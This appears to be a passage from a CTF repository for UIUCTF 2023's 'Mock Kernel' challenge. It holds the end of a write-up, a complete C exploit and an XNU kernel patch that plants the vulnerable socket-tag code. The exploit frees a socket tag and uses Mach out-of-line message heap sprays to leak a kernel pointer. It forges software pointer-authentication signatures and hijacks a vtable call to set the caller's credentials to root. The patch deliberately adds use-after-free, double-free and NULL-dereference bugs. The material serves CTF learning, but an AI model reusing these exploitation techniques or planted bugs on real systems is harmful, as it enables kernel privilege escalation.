and a super noise-free environment with a relatively deterministic heap. 590 | - Use Qemu's GDB stub for debugging the kernel! Bonus points for using the XNU Python tools. 591 | - Go step by step by making your exploit wait for user input before proceeding between steps. This gives you time to pause the kernel and inspect the heap state before continuing to ensure that your exploit is doing what you expect. 592 | 593 | 594 | ### Further Reading 595 | While the very basics of Mach IPC were touched on here, there is much more to read about this topic. 596 | Here's a list of some reading materials that may be useful in case you want to learn more about xnu! 597 | 598 | https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html 599 | 600 | https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html 601 | 602 | https://github.com/kpwn/tpwn 603 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Solution to "Mock Kernel", a CTF challenge from UIUCTF 2023 3 | * Created by Joseph Ravichandran (@0xjprx) 4 | * 5 | * g++ exploit.c -o exploit -lcrypto 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | // Various debug options (uncomment to enable): 23 | //#define DEBUG_MODE 24 | //#define SOFTPAC_DEBUG_KPRINTF 25 | 26 | /* We don't need any of these hardcoded as we can use known struct offsets and the gs segment, */ 27 | /* however I am lazy and don't want to write that when we can just assume their locations as no kASLR in Snow Leopard :) */ 28 | #define CURRENT_PROC 0xffffff800025350cULL 29 | #define PROC_UCRED 0xffffff8000249967ULL 30 | 31 | #define SO_SOTAG_MODE ((0x1337)) /* Special socket option for UIUCTF 2023 tagged sockets (sotag's) */ 32 | #define OOL_THINGY_SIZE ((8)) 33 | 34 | #define HEAP_SPRAY_NUM 1200 35 | 36 | #define VM_COPY_MAP_KDATA_OFFSET 24 37 | 38 | typedef struct { 39 | mach_msg_header_t hdr; 40 | mach_msg_body_t body; 41 | mach_msg_ool_descriptor_t descriptor; 42 | } spray_msg_t; 43 | 44 | #ifndef SOFTPAC_H 45 | #define SOFTPAC_H 46 | 47 | #define PAC_SHIFT 47ULL 48 | #define PAC_LEN 16ULL 49 | 50 | #define BITMASK_63 (((1ULL << 63ULL))) 51 | 52 | /* The bits that are affected by PAC (62->47 inclusive) */ 53 | /* Uppermost bit (63) is used to distinguish kernel / user addrs */ 54 | #define PAC_BITMASK 0x7FFF800000000000ULL 55 | 56 | typedef __uint16_t pac_t; 57 | 58 | typedef __uint64_t softpac_key_t; 59 | typedef __uint64_t softpac_salt_t; 60 | 61 | typedef enum { 62 | SOFTPAC_DATA, 63 | SOFTPAC_INST, 64 | } softpac_flavor_t; 65 | 66 | /* 67 | * softpac_sign 68 | * Encrypt a pointer using a given key, salt, and flavor. 69 | */ 70 | void *softpac_sign(softpac_flavor_t flavor, softpac_key_t key, void *plainptr); 71 | 72 | /* 73 | * softpac_auth 74 | * Authenticate a pointer using a given key, salt, and flavor. 75 | */ 76 | void *softpac_auth(softpac_flavor_t flavor, softpac_key_t key, void *encptr); 77 | 78 | #endif // SOFTPAC_H 79 | 80 | #ifndef SOTAG_H 81 | #define SOTAG_H 82 | 83 | #define SOTAG_SIZE ((0x40)) 84 | 85 | typedef enum { 86 | CTF_CREATE_TAG, /* Allocate a tag buffer to attach to this socket (so->tagged_sotag) */ 87 | CTF_EDIT_TAG, /* Write to the tag (copying the tag field from the sotag struct) */ 88 | CTF_SHOW_TAG, /* Read the value of the tag out to userspace via getsockopt */ 89 | CTF_REMOVE_TAG /* Free socket's sotag but don't NULL it out! */ 90 | } sotag_action; 91 | 92 | struct sotag_vtable { 93 | void (*dispatch)(char *, char *); 94 | }; 95 | 96 | struct sotag { 97 | char tag[SOTAG_SIZE]; 98 | struct sotag_vtable *vtable; /* +0x40: First controlled bytes by OOL mach message type confusion */ 99 | }; 100 | 101 | struct sotag_control { 102 | sotag_action cmd; 103 | struct sotag payload; 104 | }; 105 | 106 | void sotag_encrypt(); 107 | void sotag_decrypt(); 108 | 109 | #endif // SOTAG_H 110 | 111 | pac_t compute_pac(softpac_flavor_t flavor, softpac_key_t key, void *plainptr) { 112 | MD5_CTX ctx; 113 | u_int8_t digest[MD5_DIGEST_LENGTH]; 114 | pac_t pac = 0; 115 | int i; 116 | 117 | MD5_Init(&ctx); 118 | 119 | MD5_Update(&ctx, &flavor, sizeof(flavor)); 120 | MD5_Update(&ctx, &key, sizeof(key)); 121 | MD5_Update(&ctx, &plainptr, sizeof(plainptr)); 122 | 123 | MD5_Final(digest, &ctx); 124 | 125 | for (i = 0; i < MD5_DIGEST_LENGTH / 2; i++) { 126 | pac ^= digest[2*i] | (digest[2*i+1] << 8); 127 | } 128 | 129 | return pac; 130 | } 131 | 132 | void *strip_signature(void *ptr) { 133 | return (void *)((u_int64_t)ptr & (~PAC_BITMASK)); 134 | } 135 | 136 | pac_t get_signature(void *ptr) { 137 | return ((u_int64_t)ptr & PAC_BITMASK) >> PAC_SHIFT; 138 | } 139 | 140 | /* 141 | * canonicalize 142 | * Sign extend bit 63 to fill up all the PAC bits 143 | */ 144 | void *canonicalize(void *ptr) { 145 | if ((((uint64_t)ptr) & BITMASK_63) != 0) { 146 | /* Canonical kernel pointer */ 147 | return (void *)(((uint64_t)ptr) | PAC_BITMASK); 148 | } 149 | else { 150 | /* Canonical userspace pointer */ 151 | return (void *)(((uint64_t)ptr) & ~PAC_BITMASK); 152 | } 153 | } 154 | 155 | void *softpac_sign(softpac_flavor_t flavor, softpac_key_t key, void *plainptr) { 156 | u_int64_t rv; 157 | pac_t pac; 158 | 159 | pac = compute_pac(flavor, key, strip_signature(plainptr)); 160 | 161 | rv=((u_int64_t)strip_signature(plainptr)) | (((u_int64_t)pac) << PAC_SHIFT); 162 | 163 | #ifdef SOFTPAC_DEBUG_KPRINTF 164 | printf("softpac_sign: 0x%llX -> 0x%llX (PAC is 0x%hX)\n", (u_int64_t)plainptr, (u_int64_t)rv, pac); 165 | printf("\tkey is 0x%llX\n", key); 166 | #endif // SOFTPAC_DEBUG_KPRINTF 167 | 168 | return (void *)rv; 169 | } 170 | 171 | void *softpac_auth(softpac_flavor_t flavor, softpac_key_t key, void *encptr) { 172 | u_int64_t rv; 173 | pac_t correct_pac, actual_pac; 174 | 175 | correct_pac = compute_pac(flavor, key, strip_signature(encptr)); 176 | actual_pac = get_signature(encptr); 177 | 178 | if (correct_pac != actual_pac) { 179 | #ifdef SOFTPAC_DEBUG_KPRINTF 180 | printf("softpac_auth: Incorrect PAC (got 0x%hX expected 0x%hX)\n", actual_pac, correct_pac); 181 | #endif // SOFTPAC_DEBUG_KPRINTF 182 | return NULL; 183 | } 184 | 185 | rv = (uint64_t)canonicalize(encptr); 186 | 187 | #ifdef SOFTPAC_DEBUG_KPRINTF 188 | printf("softpac_auth: Correct PAC\n"); 189 | printf("Returning 0x%llX\n", rv); 190 | #endif // SOFTPAC_DEBUG_KPRINTF 191 | return ((void *)rv); 192 | } 193 | 194 | int fd; 195 | std::vector all_allocated_ports; 196 | 197 | // This is the function we want to get the kernel to call 198 | // It will elevate our privileges to root mode 199 | void target_fn() { 200 | void *p = ((void *(*)())CURRENT_PROC)(); 201 | struct ucred *c = ((ucred *(*)(void *))PROC_UCRED)(p); 202 | c->cr_uid = 0; 203 | c->cr_ruid = 0; 204 | c->cr_svuid = 0; 205 | c->cr_rgid = 0; 206 | c->cr_svgid = 0; 207 | c->cr_gmuid = 0; 208 | //while(true); 209 | } 210 | 211 | // Perform heap spray of contents 212 | // Size should be between 0 and 8 213 | kern_return_t spray_once(size_t sz, uint64_t contents) { 214 | mach_port_t new_port; 215 | kern_return_t kr; 216 | uint64_t databuf = contents; 217 | kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &new_port); 218 | if (kr != KERN_SUCCESS) { 219 | printf("%s\n", mach_error_string(kr)); 220 | return kr; 221 | } 222 | 223 | all_allocated_ports.push_back(new_port); 224 | 225 | spray_msg_t m; 226 | m.hdr.msgh_size = sizeof(m); 227 | m.hdr.msgh_local_port = MACH_PORT_NULL; 228 | m.hdr.msgh_remote_port = new_port; 229 | m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 230 | m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; 231 | m.hdr.msgh_id = 1; 232 | 233 | m.body.msgh_descriptor_count = 1; 234 | 235 | m.descriptor.address = &databuf; 236 | m.descriptor.size = sz; 237 | m.descriptor.copy = MACH_MSG_VIRTUAL_COPY; 238 | m.descriptor.deallocate = false; 239 | m.descriptor.type = MACH_MSG_OOL_DESCRIPTOR; 240 | 241 | kr = mach_msg((mach_msg_header_t *)&m, MACH_SEND_MSG, sizeof(m), 0, 0, 0, 0); 242 | if (kr != KERN_SUCCESS) { 243 | printf("%s\n", mach_error_string(kr)); 244 | return kr; 245 | } 246 | 247 | return kr; 248 | } 249 | 250 | // Receive all sprayed ports 251 | void free_all(void) { 252 | spray_msg_t m; 253 | m.hdr.msgh_size = sizeof(m); 254 | std::vector::iterator it = all_allocated_ports.begin(); 255 | for(it = all_allocated_ports.begin(); it < all_allocated_ports.end(); it++) { 256 | mach_msg((mach_msg_header_t *)&m, MACH_RCV_MSG, 0, sizeof(m), *it, 0, 0); 257 | } 258 | } 259 | 260 | // Call setsockopt for the socket at `fd` 261 | int so(struct sotag_control *opts) { 262 | int err = setsockopt(fd, SOL_SOCKET, SO_SOTAG_MODE, opts, sizeof(*opts)); 263 | if (0 != err) { 264 | printf("setsockopt error (%s)\n", strerror(errno)); 265 | } 266 | return err; 267 | 268 | } 269 | 270 | // Call getsockopt for the socket at `fd` 271 | int go(struct sotag_control *opts) { 272 | socklen_t len = sizeof(*opts); 273 | int err = getsockopt(fd, SOL_SOCKET, SO_SOTAG_MODE, opts, &len); 274 | if (0 != err) { 275 | printf("getsockopt error (%s)\n", strerror(errno)); 276 | } 277 | return err; 278 | 279 | } 280 | 281 | int main() { 282 | int i; 283 | // Setup payload 284 | void *mmap_loc = (void *)&target_fn; 285 | printf("[*] Payload target is: 0x%llX\n", (uint64_t)mmap_loc); 286 | 287 | printf("[*] Creating a socket\n"); 288 | fd=socket(AF_INET, SOCK_STREAM, 0); 289 | if (fd < 0) { 290 | printf("Error creating socket\n"); 291 | return EXIT_FAILURE; 292 | } 293 | 294 | struct sotag_control opts; 295 | opts.cmd = CTF_CREATE_TAG; 296 | bzero(&opts.payload, sizeof(opts.payload)); 297 | 298 | printf("[*] Allocating a socket tag\n"); 299 | #ifdef DEBUG 300 | getchar(); 301 | #endif // DEBUG 302 | so(&opts); 303 | 304 | opts.cmd = CTF_EDIT_TAG; 305 | memset(&opts.payload, 'A', sizeof(opts.payload)); 306 | printf("[*] Filling socket tag\n"); 307 | #ifdef DEBUG 308 | getchar(); 309 | #endif // DEBUG 310 | so(&opts); 311 | 312 | opts.cmd = CTF_REMOVE_TAG; 313 | printf("[*] Freeing the socket tag\n"); 314 | #ifdef DEBUG 315 | getchar(); 316 | #endif // DEBUG 317 | so(&opts); 318 | 319 | printf("[*] Performing 1st round OOL mach message heap spray\n"); 320 | #ifdef DEBUG 321 | getchar(); 322 | #endif // DEBUG 323 | 324 | for (i = 0; i < HEAP_SPRAY_NUM; i++) { 325 | // Spray OOL messages with a 1 byte overrun- we know that the vtable is aligned to 0x100 so this one byte overwrite 326 | // will overwrite the LSB of the vtable pointer which is always 0x00 anyways. 327 | // Each OOL message fills up the entire 0x40 byte tag region, plus sz bytes (in this case just 1). 328 | // Can't do a 0 byte allocation because of ipc_kmsg.c:2037 check for 0 length. 329 | spray_once(1, 0x0000000000000000ULL); 330 | } 331 | 332 | // Read in the new leak from vm_map_copy.kdata (+24 bytes into the structure). 333 | // We can only do this since the 1 byte overrun didn't completely screw up the vtable pointer, 334 | // since we only overwrite the LSB which we know is always 0x00. 335 | 336 | go(&opts); 337 | uint64_t final_kdata_leak = *(uint64_t *)(&opts.payload.tag[VM_COPY_MAP_KDATA_OFFSET]); 338 | uint64_t final_spray_vtable = (uint64_t)softpac_sign(SOFTPAC_DATA, final_kdata_leak, (void *)(final_kdata_leak - 56)); 339 | uint64_t final_vtable_entry_forged = (uint64_t)softpac_sign(SOFTPAC_INST, final_kdata_leak - 56, mmap_loc); 340 | printf("[*] Leaked pointer from heap: 0x%llX\n", final_kdata_leak); 341 | 342 | printf("[*] Freeing 1st round heap spray\n"); 343 | #ifdef DEBUG 344 | getchar(); 345 | #endif // DEBUG 346 | free_all(); 347 | 348 | printf("[*] Performing 2nd round OOL mach message heap spray of forged vtable pointers\n"); 349 | printf("[*] Spraying forged signed vtable: 0x%llX\n", final_spray_vtable); 350 | #ifdef DEBUG 351 | getchar(); 352 | #endif // DEBUG 353 | for (i = 0; i < HEAP_SPRAY_NUM; i++) { 354 | spray_once(sizeof(final_spray_vtable), final_spray_vtable); 355 | } 356 | 357 | // Copy fake vtable in 358 | opts.cmd = CTF_EDIT_TAG; 359 | memcpy(&opts.payload.tag[0x8], &final_vtable_entry_forged, 8); 360 | printf("[*] Copying fake vtable entry into socket tag\n"); 361 | #ifdef DEBUG 362 | getchar(); 363 | #endif // DEBUG 364 | so(&opts); 365 | 366 | printf("[*] Triggering Use-After-Free\n"); 367 | #ifdef DEBUG 368 | getchar(); 369 | #endif // DEBUG 370 | go(&opts); 371 | 372 | return EXIT_SUCCESS; 373 | } 374 | -------------------------------------------------------------------------------- /patch_xnu-1456.1.26.diff: -------------------------------------------------------------------------------- 1 | diff --git a/bsd/conf/files b/bsd/conf/files 2 | index 61afa6bf..deecbda3 100644 3 | --- a/bsd/conf/files 4 | +++ b/bsd/conf/files 5 | @@ -586,3 +586,6 @@ bsd/dev/dtrace/profile_prvd.c optional config_dtrace 6 | bsd/dev/dtrace/fasttrap.c optional config_dtrace 7 | 8 | bsd/kern/imageboot.c optional config_imageboot 9 | + 10 | +bsd/kern/sotag.c standard 11 | +bsd/kern/softpac.c standard 12 | diff --git a/bsd/kern/softpac.c b/bsd/kern/softpac.c 13 | new file mode 100644 14 | index 00000000..15bcd213 15 | --- /dev/null 16 | +++ b/bsd/kern/softpac.c 17 | @@ -0,0 +1,78 @@ 18 | +#include 19 | +#include 20 | + 21 | +pac_t compute_pac(softpac_flavor_t flavor, softpac_key_t key, u_int64_t plainptr) { 22 | + MD5_CTX ctx; 23 | + u_int8_t digest[MD5_DIGEST_LENGTH]; 24 | + pac_t pac = 0; 25 | + int i; 26 | + 27 | + MD5Init(&ctx); 28 | + 29 | + MD5Update(&ctx, &flavor, sizeof(flavor)); 30 | + MD5Update(&ctx, &key, sizeof(key)); 31 | + MD5Update(&ctx, &plainptr, sizeof(plainptr)); 32 | + 33 | + MD5Final(digest, &ctx); 34 | + 35 | + for (i = 0; i < MD5_DIGEST_LENGTH / 2; i++) { 36 | + pac ^= digest[2*i] | (digest[2*i+1] << 8); 37 | + } 38 | + 39 | + return pac; 40 | +} 41 | + 42 | +void *strip_signature(void *ptr) { 43 | + return (void *)((u_int64_t)ptr & ~PAC_BITMASK); 44 | +} 45 | + 46 | +pac_t get_signature(void *ptr) { 47 | + return ((u_int64_t)ptr & PAC_BITMASK) >> PAC_SHIFT; 48 | +} 49 | + 50 | +/* 51 | + * canonicalize 52 | + * Sign extend bit 63 to fill up all the PAC bits 53 | + */ 54 | +void *canonicalize(void *ptr) { 55 | + if ((((u_int64_t)ptr) & BITMASK_63) != 0) { 56 | + /* Canonical kernel pointer */ 57 | + return (void *)(((u_int64_t)ptr) | PAC_BITMASK); 58 | + } 59 | + else { 60 | + /* Canonical userspace pointer */ 61 | + return (void *)(((u_int64_t)ptr) & ~PAC_BITMASK); 62 | + } 63 | +} 64 | + 65 | +void *softpac_sign(softpac_flavor_t flavor, softpac_key_t key, void *plainptr) { 66 | + u_int64_t rv; 67 | + pac_t pac; 68 | + 69 | + pac = compute_pac(flavor, key, strip_signature(plainptr)); 70 | + 71 | + rv=((u_int64_t)strip_signature(plainptr)) | (((u_int64_t)pac) << PAC_SHIFT); 72 | + 73 | +#ifdef SOFTPAC_DEBUG_KPRINTF 74 | + printf("softpac_sign: 0x%llX -> 0x%llX (PAC is 0x%X)\n", (u_int64_t)plainptr, (u_int64_t)rv, pac); 75 | + printf("\tkey is 0x%llX\n", key); 76 | +#endif // SOFTPAC_DEBUG_KPRINTF 77 | + 78 | + return (void *)rv; 79 | +} 80 | + 81 | +void *softpac_auth(softpac_flavor_t flavor, softpac_key_t key, void *encptr) { 82 | + u_int64_t rv; 83 | + pac_t correct_pac, actual_pac; 84 | + 85 | + correct_pac = compute_pac(flavor, key, strip_signature(encptr)); 86 | + actual_pac = get_signature(encptr); 87 | + 88 | + if (correct_pac != actual_pac) { 89 | + panic("softpac_auth: Incorrect PAC for 0x%llX (got 0x%X expected 0x%X)\n", canonicalize(encptr), actual_pac, correct_pac); 90 | + } 91 | + 92 | + rv = (u_int64_t)canonicalize(encptr); 93 | + 94 | + return ((void *)rv); 95 | +} 96 | diff --git a/bsd/kern/sotag.c b/bsd/kern/sotag.c 97 | new file mode 100644 98 | index 00000000..d384fd87 99 | --- /dev/null 100 | +++ b/bsd/kern/sotag.c 101 | @@ -0,0 +1,84 @@ 102 | +#include 103 | +#include 104 | +#include 105 | +#include 106 | + 107 | +void sotag_default_dispatch(char *dst, char *src) { 108 | +#ifdef SOFTPAC_DEBUG_KPRINTF 109 | + kprintf("sotag_default_dispatch called\n"); 110 | +#endif // SOFTPAC_DEBUG_KPRINTF 111 | + memcpy(dst, src, SOTAG_SIZE); 112 | +} 113 | + 114 | +struct sotag *alloc_sotag() { 115 | + struct sotag *new_tag; 116 | + new_tag = kalloc(sizeof(*new_tag)); 117 | + 118 | + if (0 == new_tag) return ((struct sotag *)0); 119 | + 120 | + new_tag->vtable = (struct sotag_vtable *)kalloc(SOTAG_VTABLE_ALLOC_SIZE); 121 | + // Yes, this will leak memory on free- GOOD. 122 | + // More interesting behavior for people to play with :) 123 | + // (we never free the new_tag->vtable). 124 | + 125 | + if (0 == new_tag->vtable) { 126 | + kfree(new_tag, sizeof(*new_tag)); 127 | + return ((struct sotag *)0); 128 | + } 129 | + 130 | + new_tag->vtable->dispatch = sotag_default_dispatch; 131 | + 132 | + sign_sotag(new_tag); 133 | + 134 | + return new_tag; 135 | +} 136 | + 137 | +void sign_sotag(struct sotag *t) { 138 | + if (!t) return; 139 | + t->vtable->dispatch = softpac_sign( 140 | + SOFTPAC_INST, 141 | + &(t->vtable->dispatch), 142 | + t->vtable->dispatch 143 | + ); 144 | + 145 | + t->vtable = softpac_sign( 146 | + SOFTPAC_DATA, 147 | + &(t->vtable), 148 | + t->vtable 149 | + ); 150 | + 151 | +#ifdef SOFTPAC_DEBUG_KPRINTF 152 | + kprintf("FORGING THE SIGNATURE WE WANT TO FIND:\n"); 153 | +#endif // SOFTPAC_DEBUG_KPRINTF 154 | + 155 | + // This was for debugging purposes, should probably have been 156 | + // under the SOFTPAC_DEBUG_KPRINTF macro but oh well: 157 | + softpac_sign( 158 | + SOFTPAC_DATA, 159 | + &(t->vtable), 160 | + &(t->tag[0x8]) 161 | + ); 162 | +} 163 | + 164 | +void auth_sotag(struct sotag *t) { 165 | + if (!t) return; 166 | + t->vtable = softpac_auth( 167 | + SOFTPAC_DATA, 168 | + &(t->vtable), 169 | + t->vtable 170 | + ); 171 | + 172 | + t->vtable->dispatch = softpac_auth( 173 | + SOFTPAC_INST, 174 | + &(t->vtable->dispatch), 175 | + t->vtable->dispatch 176 | + ); 177 | +} 178 | + 179 | +void sotag_call_dispatch(struct sotag *t, char *dst, char *src) { 180 | + if (!t) return; 181 | + 182 | + auth_sotag(t); 183 | + t->vtable->dispatch(dst, src); 184 | + sign_sotag(t); 185 | +} 186 | diff --git a/bsd/kern/uipc_socket.c b/bsd/kern/uipc_socket.c 187 | index fa8ae828..c070d0e3 100644 188 | --- a/bsd/kern/uipc_socket.c 189 | +++ b/bsd/kern/uipc_socket.c 190 | @@ -101,6 +101,8 @@ 191 | #include 192 | #include 193 | #include 194 | +#include 195 | +#include 196 | 197 | #if CONFIG_MACF 198 | #include 199 | @@ -3228,6 +3230,54 @@ sosetopt(struct socket *so, struct sockopt *sopt) 200 | break; 201 | } 202 | 203 | + case SO_SOTAG_MODE: { 204 | + struct sotag_control sotag_options; 205 | + struct sotag *new_sotag; 206 | + 207 | + error = sooptcopyin(sopt, &sotag_options, sizeof(sotag_options), sizeof(sotag_options)); 208 | + if (error) { 209 | + goto bad; 210 | + } 211 | + 212 | + switch (sotag_options.cmd) { 213 | + case CTF_CREATE_TAG: { 214 | +#ifdef SOFTPAC_DEBUG_KPRINTF 215 | + kprintf("setsockopt(SO_SOTAG_MODE, CTF_CREATE_TAG)\n"); 216 | +#endif // SOFTPAC_DEBUG_KPRINTF 217 | + new_sotag = alloc_sotag(); 218 | + if (!new_sotag) goto bad; 219 | + so->attached_sotag = new_sotag; 220 | +#ifdef SOFTPAC_DEBUG_KPRINTF 221 | + kprintf("so->attached_sotag = %p\n", so->attached_sotag); 222 | +#endif // SOFTPAC_DEBUG_KPRINTF 223 | + break; 224 | + } 225 | + 226 | + case CTF_EDIT_TAG: { 227 | + /* This can cause NULL ptr derefs- GOOD. */ 228 | + /* Since SMAP/SMEP are off I think people can allocate pages at page zero */ 229 | + /* And do weird things with that. It's better to leave this bug in just for fun. */ 230 | +#ifdef SOFTPAC_DEBUG_KPRINTF 231 | + kprintf("setsockopt(SO_SOTAG_MODE, CTF_EDIT_TAG)\n"); 232 | +#endif // SOFTPAC_DEBUG_KPRINTF 233 | + memcpy(&so->attached_sotag->tag, &sotag_options.payload.tag, sizeof(sotag_options.payload.tag)); 234 | + break; 235 | + } 236 | + 237 | + case CTF_REMOVE_TAG: { 238 | + /* This could be a double free too, even though intention here is UaF */ 239 | + /* This also leaks memory through the vtable never being freed- GOOD. */ 240 | +#ifdef SOFTPAC_DEBUG_KPRINTF 241 | + kprintf("setsockopt(SO_SOTAG_MODE, CTF_REMOVE_TAG)\n"); 242 | +#endif // SOFTPAC_DEBUG_KPRINTF 243 | + kfree(so->attached_sotag, sizeof(*new_sotag)); 244 | + break; 245 | + } 246 | + } 247 | + 248 | + break; 249 | + } 250 | + 251 | default: 252 | error = ENOPROTOOPT; 253 | break; 254 | @@ -3517,6 +3567,16 @@ integer: 255 | error = sooptcopyout(sopt, &sonpx, sizeof(struct so_np_extensions)); 256 | break; 257 | } 258 | + 259 | + case SO_SOTAG_MODE: { 260 | + /* Read out the tag value from this socket. (default behavior of sotag_call_dispatch). */ 261 | + /* If the dispatch method is overriden, this will do whatever the new behavior dictates. */ 262 | + struct sotag_control sotag_options; 263 | + sotag_call_dispatch(so->attached_sotag, &sotag_options.payload.tag, so->attached_sotag->tag); 264 | + error = sooptcopyout(sopt, &sotag_options, sizeof(sotag_options)); 265 | + break; 266 | + } 267 | + 268 | default: 269 | error = ENOPROTOOPT; 270 | break; 271 | diff --git a/bsd/netinet6/in6_pcb.c b/bsd/netinet6/in6_pcb.c 272 | index 6d2c98b7..8db0077d 100644 273 | --- a/bsd/netinet6/in6_pcb.c 274 | +++ b/bsd/netinet6/in6_pcb.c 275 | @@ -539,7 +539,9 @@ in6_pcbdetach(inp) 276 | if (inp->in6p_options) 277 | m_freem(inp->in6p_options); 278 | ip6_freepcbopts(inp->in6p_outputopts); 279 | + inp->in6p_outputopts = NULL; 280 | ip6_freemoptions(inp->in6p_moptions); 281 | + inp->in6p_moptions = NULL; 282 | if (inp->in6p_route.ro_rt) { 283 | rtfree(inp->in6p_route.ro_rt); 284 | inp->in6p_route.ro_rt = NULL; 285 | diff --git a/bsd/sys/Makefile b/bsd/sys/Makefile 286 | index 06fc9020..e05106ec 100644 287 | --- a/bsd/sys/Makefile 288 | +++ b/bsd/sys/Makefile 289 | @@ -89,7 +89,9 @@ KERNELFILES = \ 290 | kpi_mbuf.h kpi_socket.h kpi_socketfilter.h \ 291 | ttycom.h termios.h msg.h \ 292 | wait.h \ 293 | - spawn.h 294 | + spawn.h \ 295 | + sotag.h softpac.h 296 | + 297 | # The last line was added to export needed headers for the MAC calls 298 | # whose source is outside of the xnu/bsd tree. 299 | 300 | diff --git a/bsd/sys/socket.h b/bsd/sys/socket.h 301 | index 026ec3bb..d6154fc0 100644 302 | --- a/bsd/sys/socket.h 303 | +++ b/bsd/sys/socket.h 304 | @@ -75,6 +75,7 @@ 305 | #include 306 | #include 307 | #include 308 | +#include 309 | 310 | /* 311 | * Definitions related to sockets: types, address families, options. 312 | @@ -209,6 +210,7 @@ struct iovec { 313 | #define SO_LABEL 0x1010 /* socket's MAC label */ 314 | #define SO_PEERLABEL 0x1011 /* socket's peer MAC label */ 315 | #endif /* (!_POSIX_C_SOURCE || _DARWIN_C_SOURCE) */ 316 | +#define SO_SOTAG_MODE ((0x1337)) /* Special socket option for UIUCTF 2023 tagged sockets (sotag's) */ 317 | 318 | /* 319 | * Structure used for manipulating linger option. 320 | diff --git a/bsd/sys/socketvar.h b/bsd/sys/socketvar.h 321 | index 2bd0c593..8f661bb1 100644 322 | --- a/bsd/sys/socketvar.h 323 | +++ b/bsd/sys/socketvar.h 324 | @@ -252,6 +252,7 @@ struct socket { 325 | struct label *so_label; /* MAC label for socket */ 326 | struct label *so_peerlabel; /* cached MAC label for socket peer */ 327 | thread_t so_background_thread; /* thread that marked this socket background */ 328 | + struct sotag *tagged_sotag; 329 | }; 330 | #endif /* KERNEL_PRIVATE */ 331 | 332 | diff --git a/bsd/sys/softpac.h b/bsd/sys/softpac.h 333 | new file mode 100644 334 | index 00000000..dd790af4 335 | --- /dev/null 336 | +++ b/bsd/sys/softpac.h 337 | @@ -0,0 +1,39 @@ 338 | +#ifndef SOFTPAC_H 339 | +#define SOFTPAC_H 340 | + 341 | +// #DEFINE SOFTPAC_DEBUG_KPRINTF 342 | + 343 | +#include 344 | + 345 | +#define PAC_SHIFT 47ULL 346 | +#define PAC_LEN 16ULL 347 | + 348 | +#define BITMASK_63 (((1ULL << 63ULL))) 349 | + 350 | +/* The bits that are affected by PAC (62->47 inclusive) */ 351 | +/* Uppermost bit (63) is used to distinguish kernel / user addrs */ 352 | +#define PAC_BITMASK 0x7FFF800000000000ULL 353 | + 354 | +typedef __uint16_t pac_t; 355 | + 356 | +typedef __uint64_t softpac_key_t; 357 | +typedef __uint64_t softpac_salt_t; 358 | + 359 | +typedef enum { 360 | + SOFTPAC_DATA, 361 | + SOFTPAC_INST, 362 | +} softpac_flavor_t; 363 | + 364 | +/* 365 | + * softpac_sign 366 | + * Encrypt a pointer using a given key, salt, and flavor. 367 | + */ 368 | +void *softpac_sign(softpac_flavor_t flavor, softpac_key_t key, void *plainptr); 369 | + 370 | +/* 371 | + * softpac_sign 372 | + * Authenticate a pointer using a given key, salt, and flavor. 373 | + */ 374 | +void *softpac_auth(softpac_flavor_t flavor, softpac_key_t key, void *encptr); 375 | + 376 | +#endif // SOFTPAC_H 377 | diff --git a/bsd/sys/sotag.h b/bsd/sys/sotag.h 378 | new file mode 100644 379 | index 00000000..a0214353 380 | --- /dev/null 381 | +++ b/bsd/sys/sotag.h 382 | @@ -0,0 +1,66 @@ 383 | +#ifndef SOTAG_H 384 | +#define SOTAG_H 385 | + 386 | +#define SOTAG_SIZE ((0x40)) 387 | + 388 | +#define SOTAG_VTABLE_ALLOC_SIZE ((0x100)) 389 | + 390 | +typedef enum { 391 | + CTF_CREATE_TAG, /* Allocate a tag buffer to attach to this socket (so->tagged_sotag) */ 392 | + CTF_EDIT_TAG, /* Write to the tag (copying the tag field from the sotag struct) */ 393 | + CTF_SHOW_TAG, /* Read the value of the tag out to userspace via getsockopt */ 394 | + CTF_REMOVE_TAG /* Free socket's sotag but don't NULL it out! */ 395 | +} sotag_action; 396 | + 397 | +struct sotag_vtable { 398 | + /* void dispatch(char *dst, char *src)*/ 399 | + /* Copies SOTAG_SIZE from src into dst. */ 400 | + void (*dispatch)(char *, char *); 401 | +}; 402 | + 403 | +struct sotag { 404 | + char tag[SOTAG_SIZE]; 405 | + struct sotag_vtable *vtable; /* +0x40: First controlled bytes by OOL mach message type confusion */ 406 | +}; 407 | + 408 | +/* 409 | + * sotag_control 410 | + * The structure passed from userspace into *sockopt that is used 411 | + * to control a given socket's tag. 412 | + * 413 | + * Fields: 414 | + * - cmd: What sotag_action does the caller want to perform? 415 | + * - payload: The arguments to a given sotag_action. 416 | + */ 417 | +struct sotag_control { 418 | + sotag_action cmd; 419 | + struct sotag payload; 420 | +}; 421 | + 422 | +/* 423 | + * alloc_sotag 424 | + * Constructs a new valid socket tag. 425 | + * Returns NULL on failure, a pointer to the new tag on success. 426 | + */ 427 | +struct sotag *alloc_sotag(); 428 | + 429 | +/* 430 | + * sotag_call_dispatch 431 | + * Dispatches a PAC signed goofy_ahh_tag and tries to call dispatch, 432 | + * panics the kernel if any pointers are incorrectly signed. 433 | + */ 434 | +void sotag_call_dispatch(struct sotag *t, char *dst, char *src); 435 | + 436 | +/* 437 | + * sign_sotag 438 | + * Encrypt the vtable and all function pointers in a socket tag. 439 | + */ 440 | +void sign_sotag(struct sotag *t); 441 | + 442 | +/* 443 | + * auth_sotag 444 | + * Decrypt the vtable and function pointers in a socket tag, panic if incorrect 445 | + */ 446 | +void auth_sotag(struct sotag *t); 447 | + 448 | +#endif // SOTAG_H 449 | diff --git a/config/newvers.pl b/config/newvers.pl 450 | index 31deccac..c3d1f473 100755 451 | --- a/config/newvers.pl 452 | +++ b/config/newvers.pl 453 | @@ -47,7 +47,7 @@ if($ENV{'MACHINE_CONFIG'} ne "DEFAULT") { 454 | } 455 | my $BUILD_DATE = `date`; 456 | $BUILD_DATE =~ s/[\n\t]//g; 457 | -my 